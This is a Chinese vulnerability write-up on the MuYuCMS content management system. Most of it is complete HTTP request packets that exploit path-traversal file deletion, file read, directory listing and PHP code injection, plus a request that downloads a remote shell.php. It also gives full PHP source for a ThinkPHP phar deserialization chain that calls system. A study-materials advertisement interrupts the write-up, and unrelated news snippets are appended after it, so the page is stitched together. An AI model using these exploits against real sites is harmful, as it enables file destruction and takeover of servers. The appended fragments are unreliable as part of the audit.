木鱼CMS系统审计小结
MuYuCMS基于Thinkphp开发的一套轻量级开源内容管理系统,专注为公司企业、个人站长提供快速建站提供解决方案。
环境搭建
我们利用 phpstudy 来搭建环境,选择 Apache2.4.39 + MySQL5.7.26+ php5.6.9 ,同时利用 PhpStorm 来实现对项目的调试
漏洞复现分析 任意文件删除
我们在网站的根目录下创建一个文件 test.txt 用来校验文件是否被删除
任意文件删除一
漏洞复现
登录后台后构造数据包 POST /admin.php/accessory/filesdel.html HTTP/1.1 Host: test.test Content-Length: 55 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://test.test Referer: http://test.test/admin.php/accessory/filelist.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: muyu_checkaccre=1676530347; PHPSESSID=ae5mpn24ivb25od6st8sdoouf7; muyu_first=1676531718;XDEBUG_SESSION=PHPSTORM Connection: close filedelur=/upload/files/.gitignore/../../../../test.txt
文件被成功删除
漏洞分析
appadmincontrollerAccessory::filesdel
通过参数 $filedelurl 拼接得到要删除文件的地址,利用 unlink 函数删除文件,中间没有做任何校验。
【----帮助网安学习,需要网安学习资料关注我,私信回复"资料"免费获取----】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)任意文件删除二
漏洞复现
登录后台后构造数据包 POST /admin.php/accessory/picdel.html HTTP/1.1 Host: test.test Content-Length: 54 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://test.test Referer: http://test.test/admin.php/accessory/filelist.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: muyu_checkaccre=1676530347; PHPSESSID=ae5mpn24ivb25od6st8sdoouf7; muyu_first=1676531718;XDEBUG_SESSION=PHPSTORM Connection: close picdelur=/upload/files/.gitignore/../../../../test.txt
漏洞分析
appadmincontrollerAccessory::picdel
通过参数 $picdelur 拼接得到要删除图片的地址,利用 unlink 函数删除文件,中间没有做任何校验 任意文件删除三
漏洞复现
登录后台后构造数据包 GET /editor/index.php?a=delete_node&type=file&path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../test.txt HTTP/1.1 Host: test.test Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://test.test User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://test.test/editor/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM Connection: close
漏洞分析
AppControllerController::delete_node
AppCoreFile::deleteFile
AppControllerController::beforeFun
对传入的 path 判断了是否在合法的文件域中,但没有对传入的 path 没有进行跨目录的校验就删除了文件 任意文件删除四
漏洞复现 POST /admin.php/database/sqldel.html HTTP/1.1 Host: test.test Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://test.test User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://test.test/editor/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 19 name=../../test.txt
漏洞分析
appadmincontrollerDatabase::sqldel
获取 post 传入的参数 name
利用 delFile 函数删除文件 任意文件删除五
漏洞复现
登录后台后构造数据包 POST /admin.php/update/rmdirr.html?dirname=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../test.txt HTTP/1.1 Host: test.test Content-Length: 0 Accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-Requested-With: XMLHttpRequest Origin: http://test.test Referer: http://test.test/admin.php/system/update.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=d3bt6cnt59c2dfq7pshva5ffc1; muyu_checkaccre=1676878715; muyu_first=1676879341 Connection: close
漏洞分析
appadmincontrollerUpdate::rmdirr
传入的参数 $dirname 经过简单的判断,然后调用 unlink 函数去删除 任意文件读取
漏洞复现
登录后构造数据包 GET /editor/index.php?a=get_file&file_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../test.txt HTTP/1.1 Host: test.test Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://test.test User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://test.test/editor/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM Connection: close
成功读取文件信息
漏洞分析
AppControllerController::get_file
列目录
漏洞复现
登录后构造数据包 GET /editor/index.php?a=dir_list&dir_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/../../../../../../../../ HTTP/1.1 Host: test.test Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://test.test User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://test.test/editor/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM Connection: close
成功将根目录下的信息显露出来
漏洞分析
AppControllerController::dir_list
AppCoreJstree::getDir
AppControllerController::beforeFun
对传入的 dir_path判断了是否在合法的文件域中,但没有对传入的 dir_path没有进行跨目录的校验就打印出目录信息 任意代码执行任意代码执行一
漏洞复现
登录后构造数据包,读取config 文件内容 GET /editor/index.php?a=get_file&file_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/member_temp/user/config.php HTTP/1.1 Host: test.test Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://test.test User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://test.test/editor/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM Connection: close
此时需要获取的并不是文件内容,而是更改之后文件的key
复制文件校验码 替换到下面数据包中 GET /editor/index.php?a=save_file&file_path=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/member_temp/user/config.php&file_key=5e9c862ce52986e5437652d707c7c82f&file_content=<?php+phpinfo();+php?> HTTP/1.1 Host: test.test Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://test.test User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://test.test/editor/index.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: muyu_checkaccre=1676601856; PHPSESSID=94241isj4cqrr0nefhv9rvs1b2;XDEBUG_SESSION=PHPSTORM Connection: close
访问文件在网站上对应的位置,发现代码已经被成功执行
也可以执行其他代码
漏洞分析
AppControllerController::save_file
save_file 有保存文件的操作,但是需要获取到文件的校验码。所以就可以通过先查询文件的相关信息,然后再对文件进行修改
AppCoreFile::setFileContent
任意代码执行二
漏洞复现
登录后构造数据包 POST /admin.php/update/getFile.html?url=http://127.0.0.1:8000/shell.php&save_dir=F:/Tools/phpstudy_pro/WWW/MuYuCMS-master/MuYuCMS-master/template/ HTTP/1.1 Host: test.test Content-Length: 0 Accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 X-Requested-With: XMLHttpRequest Origin: http://test.test Referer: http://test.test/admin.php/system/update.html Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=d3bt6cnt59c2dfq7pshva5ffc1; muyu_checkaccre=1676878715; muyu_first=1676879341;XDEBUG_SESSION=PHPSTORM Connection: close
指定远程 url 下载文件,下载的文件保存到指定位置
访问指定的文件目录,发现代码被成功执行
漏洞分析
appadmincontrollerUpdate::getFile
通过 $url 指定获取远程文件的地址,$save_dir 指定保存文件的路径,并未对文件的内容和类型进行校验,所以就会产生代码执行漏洞 phar反序列化
漏洞复现 <?php namespace think{ abstract class Model{ protected $append; private $data; function __construct(){ $this->append = ["aaaa"=>["123456"]]; $this->data = ["aaaa"=>new Request()]; } } class Request { protected $param; protected $hook; protected $filter; protected $config; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>""]; $this->hook = ["visible"=>[$this,"isAjax"]]; $this->param = ["calc"]; } } } namespace thinkprocesspipes{ use thinkmodelPivot; class Windows { private $files; public function __construct() { $this->files=[new Pivot()]; } } } namespace thinkmodel{ use thinkModel; class Pivot extends Model { } } namespace{ use thinkprocesspipesWindows; @unlink("shell.jpg"); $phar = new Phar("shell.phar"); // $phar->startBuffering(); $phar -> setStub("GIF89a"."<?php __HALT_COMPILER();?>"); $object = new Windows(); //$object ->haha= "eval(@$_POST["a"]);"; // $object ->haha= "phpinfo();"; $phar->setMetadata($object); $phar->addFromString("a", "a"); //添加要压缩的文件 $phar->stopBuffering(); echo (base64_encode(serialize(new Windows()))); } ?>
生成 phar 序列化数据包 修改后缀,启动 python 服务器
构造数据包下载远程的文件到本地 GET /public/static/admin/static/ueditor/php/controller.php?action=catchimage&source[]=http://127.0.0.1:8000/shell.png HTTP/1.1 Host: test.test Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: XDEBUG_SESSION=PHPSTORM Connection: close
执行 phar 序列化
http://test.test/admin.php/update/rmdirr.html?dirname=phar://./public/upload/images/1676882763141961.png
注意事项
在最开始,获取远程图片的时候,一直出现错误 提示 链接contentType不正确 通过在代码中查找,定位到问题位置
校验了 Content-Type 的值 经过不断的调试仍然发现不了问题出现在哪
但是发现通过 phpstudy 默认的 apache 服务是没问题的 通过抓包对比发现 一个是 Content-Type 另一个是 Content-type
我直接修改了 python 的源代码 将其中的小写 t 替换成了大写 T
漏洞分析
appadmincontrollerUpdate::rmdirr
通过协议绕过了对文件名的检测然后触发了反序列漏洞
MuYuCMS-master/public/static/admin/static/ueditor/php/controller.php
首次从英国实施的卫星发射任务失败新华社伦敦1月9日电(记者郭爽)总部位于美国的维珍轨道公司9日以英国西南沿海一个机场为基地,以水平方式发射一枚搭载9颗卫星的空基运载火箭。但火箭在发射一个多小时后出现异常,未能进入
太阳是用什么燃料的?为什么烧了几十亿年还没烧完?看完就明白了人类赖以生存的太阳,一直是人类的光明之源,科学家研究表明,太阳诞生于46亿年前,和地球的年龄几乎一致,那么太阳用了什么燃料,才能一直拥有巨大能像,为什么烧了几十亿年还没烧完呢?太阳
性感女人中最懂玩球的是谁?她被誉为全球最性感高尔夫女郎。她叫佩奇施皮雷纳克。她因为火爆的身材,成为美国顶级网红。在INS上有370万的球迷。她成功地改变了人们对高尔夫的印象。高尔夫不再是油腻老头商业互吹的运
澳门这个区域没有博彩业,宁静得就像一个小渔村,很多游客没来过这里是刘小顺的旅行和生活研究所。说到我国的澳门特别行政区,应该很多人马上就会想到发达的博彩业,以及各种高大上的娱乐度假场所,在大家印象中,澳门到处都是流光溢彩灯红酒绿的样子。可实际
今日新游Steam上架游戏推荐(1月11日)索引江湖十一末日绿钞(GROSS)KittenHeroWilderless幻想三国志天元异事录Kandria跑跑卡丁车漂移(KartRiderDrift)注本系列文章的信息主要整合
1月11日羊了个羊通关攻略,难度三颗星早上好,羊友们,又是平常而又美好的一天,今日大新闻因中国人入境韩国要戴小黄牌,我使馆直接停发赴华签证(短期快速签),解气!!!!笑死,北约隔三差五出来蹦哒,三星国也敢跟着一蹦二尺高
任天堂日服试玩同乐会你裁我剪斯尼帕免费游玩任天堂公布日服的NintendoSwitchOnline会员将开启新一期的限时免费游玩活动,本期试玩同乐会的免费游戏为你裁我剪!斯尼帕Plus。试玩活动时间为北京时间1月13日11
没有主见,容易被别人带偏?可以做这16件事做一个决定到底难不难呢?有些人可以做到冷静思考后坚持自己的判断,但有的人嘛好像别人说的总是对的,自己想的总是错的。仔细思考一周的方案,甲方一个建议,就立马改改改原本规划好的周末计划
散文浅喜深爱,内心丰盈那些掩埋在深处的无以诉说。那心里面最深的深情。那琐碎动人的生活。那光阴中盛开或枯萎的花朵。那曾经错过的美与哀愁。那时光逆行里的你我。有你,有你们,照我一身光芒。文为舟船,渡我彼岸。
名和利,救不了毒舌女王宋丹丹文阅栀编辑阅栀宋丹丹为什么被骂得这么惨?宋丹丹爹味怎么这么重?宋丹丹是年轻人的公敌吧!在很长一段时间里,互联网上都充斥着对宋丹丹的骂声,热闹程度丝毫不逊色于谢娜,风向转变之快,以至
赵丽颖深蓝抹胸长裙是陈采尼设计,量身定做独一无二,价值几十万头条创作挑战赛赵丽颖赵丽颖的深蓝条纹抹胸长裙价值不菲,人靠衣装,佛靠金装,2023年1月10号,设计师陈采尼在微博爆出赵丽颖穿的深蓝抹胸长裙是他设计的,陈采尼专为赵丽颖量身定做的,
南京医生打小孩事件如果发生在加拿大美国会怎么样?最近南京医生打幼儿园小朋友事件闹得沸沸扬扬,全国人民都不淡定了,舆论炒作的沸沸扬扬,支持者反对者公说公有理婆说婆有理,视频文字唾沫星子满天飞,简直盖过了俄乌战争的势头。个人认为大人
咖啡和茶都会引起醉茶为什么咖啡喝多了心会突突跳说提提神,有的人喜欢喝咖啡,有的人喜欢喝茶,其实无论哪种,都是咖啡碱也就是咖啡因在起作用。是的,虽然味道口感形态都不同,但咖啡和茶里都含咖啡因。咖啡因是一
东至县历史名人章大光被国民党军阀杀害具体情况及历史背景章大光(18921936。6。27),安徽省东至县历史名人,东流中学创始人,1919年毕业于安庆政法专门学校,受五四运动影响,追随思想进步的校长1920年在许世英的介绍下在北京实业
工人同志们!大家都来进行最后一次决战这是列宁写于1918年8月上半月的一篇文章,选自列宁选集1965版第三卷。苏维埃共和国被敌人包围了。但是,它一定会战胜国内外的一切敌人。工人群众的热情已经高涨起来,这就是胜利的保证
周末度假游后,分享一波最新的风行游艇假期评测忙碌的工作生活,每一个周末都非常的珍贵,如果只是宅在家里面对生活的琐事,未免有些浪费时光了,来一场自驾周边游,让自己的心放空,便成为我的首选。上个周末正好拿到了风行游艇,随即就开启
合肥高新区美景等你来打卡大皖新闻讯11月,漫步在合肥高新区的大街小巷,那些往日里看似不起眼的花草,在阳光与秋雨的滋润下肆意绽放,为合肥的秋天增添了一抹别样的色彩。粉黛乱子草。作为新晋网红的粉黛乱子草是秋天
结束了!再见杜锋!将迎来国家队最后一战原来中国男篮并没有提前晋级世界杯,FIBA官方闹了个大乌龙,目前我们确定出线的星标已经被悄悄去除!而且由于澳洲男篮不做人,与伊朗队的比赛既然主动弃权,0比20被判负,导致极端情况下
即将消失的24个老物件,认识一半超厉害,全都认识证明你老了1这是支炉儿,记得最清的是1958年暑假时我做饭烙饼,一个白面的,两个玉米面的。(玉米面得打糊烫面)大煤火炉子烧得中等旺度,没有烟,主要靠幅射传热,几乎要烧到要红,烙出饼外焦里嫩。
冬瓜怎么做更好吃?建议学会这两道做法,营养解馋,顿顿吃光盘秋日生活打卡季欢迎大家,我是中原辣哥,喜欢美食的朋友,可以关注一下我们哦。治大国如烹小鲜,平常生活中的煎炸煮炒,每道菜口味都各不相同,每餐饭也都有着各自的特色,但是又都是一样的让人
秋游208高地徐家村古银杏树下合影很久没有爬山了,我们开心群的丐帮帮主红哥看到我这么久没有出现在爬山驴友行列中,热情地邀请我出来走两步。世上没有两片相同的叶子银杏树前的茶铺兰子美女夏香美女今天是
虫草君的旅行,一种欲罢不能的旅行行在路上看不完世间美景悟在途中品不尽人世冷暖13热爱西藏旅行大家好我叫郭泽君是一名旅行摄影人于我而言真正的旅行是从西藏开始在这里工作和生活了20年我早就成了这片土地的老朋友我感谢西